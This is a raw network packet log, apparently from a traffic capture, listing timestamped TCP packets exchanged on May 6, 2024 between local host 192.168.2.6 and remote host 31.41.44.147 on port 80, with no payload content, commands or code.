May 6, 2024 02:53:02.739514112 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.739526987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.739531994 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739563942 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.739712000 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739749908 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.739840984 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739880085 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.739917040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739954948 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.739962101 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.739998102 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.744666100 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.744679928 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.744714022 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.744725943 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.744957924 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.745001078 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.745254993 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.745299101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.746197939 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.746243000 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.751555920 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.751625061 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.781411886 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.781610012 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.782032967 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.782048941 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.782088041 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.782113075 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.782429934 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.782474995 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.786792040 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.786803961 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.786845922 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.787226915 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.787271023 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.787425041 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.787467003 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.793796062 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.793843031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.823542118 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.823622942 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.823632956 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.823671103 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.823791981 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.823805094 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.823841095 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.824316978 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.824357986 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.824383020 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.824419975 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.824656963 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.824702978 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.824856997 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.824903965 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.829319954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.829333067 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.829366922 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.829675913 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.829689026 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.829725981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.835406065 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.835453987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.865984917 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.866000891 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.866035938 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.866055012 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.866188049 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.866226912 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.868242979 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.868288994 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.868367910 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.868412018 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.868474960 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.868515968 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.868803978 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.868849039 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.871299028 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.871345043 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.871398926 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.871443033 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.871818066 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.871831894 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.871865988 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.872725964 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.872771978 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.907941103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.908123970 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.908154011 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.908180952 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.910295963 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.910347939 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.910487890 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.910536051 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.910868883 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.910912037 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.910916090 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.910953999 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.913693905 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.913706064 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.913743019 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.913824081 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.913866043 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.913986921 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.914031982 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.914053917 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.914097071 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.914380074 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.914429903 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.914506912 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.914551973 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.950664043 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.950709105 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.950732946 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.950757027 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.952531099 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.952579021 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.952914000 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.952987909 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.954189062 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.954200983 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.954233885 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.954247952 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.955902100 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.955914974 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.955955982 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.955981016 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.956043005 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.956082106 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.956202030 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.956240892 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.957134962 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.957146883 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.957174063 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.957196951 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.962378025 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.962436914 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.993623018 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.993690968 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.993697882 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.993741035 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.994755983 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.994812012 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.994966984 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.995011091 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.996006012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.996017933 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.996048927 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.998132944 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.998181105 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.998205900 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.998245955 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.998939037 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.998981953 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.999054909 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.999102116 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.999403954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.999447107 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.999512911 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.999556065 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:02.999591112 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:02.999633074 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.004015923 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.004205942 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.035701036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.035715103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.035773039 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.037702084 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.037775993 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.037802935 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.037842035 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.038465977 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.038511992 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.038541079 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.038583040 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.040257931 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.040304899 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.040477991 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.040523052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.041174889 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.041223049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.041749954 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.041795969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.042140961 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.042152882 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.042164087 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.042174101 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.042184114 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.042202950 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.042228937 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.042392015 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.042437077 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.046125889 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.046173096 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.077864885 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.077913046 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.077918053 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.077950954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.079741001 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.079782009 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.079799891 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.079834938 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.080598116 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.080610991 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.080637932 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.080656052 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.082371950 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.082416058 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.082477093 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.082518101 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.083682060 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.083724022 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.083842039 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.083883047 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.083982944 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.084023952 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.084134102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.084172010 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.092389107 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.092401981 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.092432022 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.092448950 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.094765902 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.094808102 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.120254993 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.120268106 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.120326042 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.121704102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.121753931 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.121789932 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.121829987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.123322010 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.123363018 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.123385906 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.123420954 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.124422073 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.124464989 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.124537945 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.124577999 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.125453949 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.125497103 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.125828028 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.125869036 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.125873089 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.125900984 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.127685070 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.127732038 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.134541988 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.134601116 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.134629965 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.134665012 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.134746075 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.134798050 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.162214994 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.162269115 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.162272930 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.162308931 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.163899899 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.163913012 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.163952112 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.163964987 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.165419102 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.165431976 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.165466070 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.165472031 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.165474892 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.165507078 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.166369915 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.166415930 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.166436911 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.166477919 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.167927980 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.167973042 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.168052912 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.168097019 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.168128967 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.168142080 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.169974089 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.170018911 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.176902056 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.176914930 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.176954031 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.204251051 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.204339981 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.204519033 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.204564095 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.204655886 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.204673052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.204704046 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.204715014 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.205764055 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.205832958 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.205852985 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.205893993 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.207484961 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.207531929 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.207559109 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.207597971 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.207648993 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.207693100 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.208695889 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.208748102 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.208772898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.208817005 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.210227966 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.210289955 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.210326910 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.210371017 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.210442066 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.210488081 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.219053984 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.219155073 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.219239950 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.219276905 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.222136021 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.222193003 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.246618032 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.246711969 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.246932983 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.246944904 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.246954918 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.246990919 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.247747898 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.247760057 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.247803926 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.249634981 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.249676943 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.249685049 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.249712944 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.250838041 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.250885010 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.250920057 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.250951052 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.250961065 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.250993013 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.252285004 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.252332926 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.252418995 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.252464056 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.253926039 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.253973007 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.261382103 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.261410952 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.261461020 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.263681889 CEST	80	49718	31.41.44.147	192.168.2.6
May 6, 2024 02:53:03.263735056 CEST	49718	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:03.288731098 CEST	80	49718	31.41.44.147	192.168.2.6
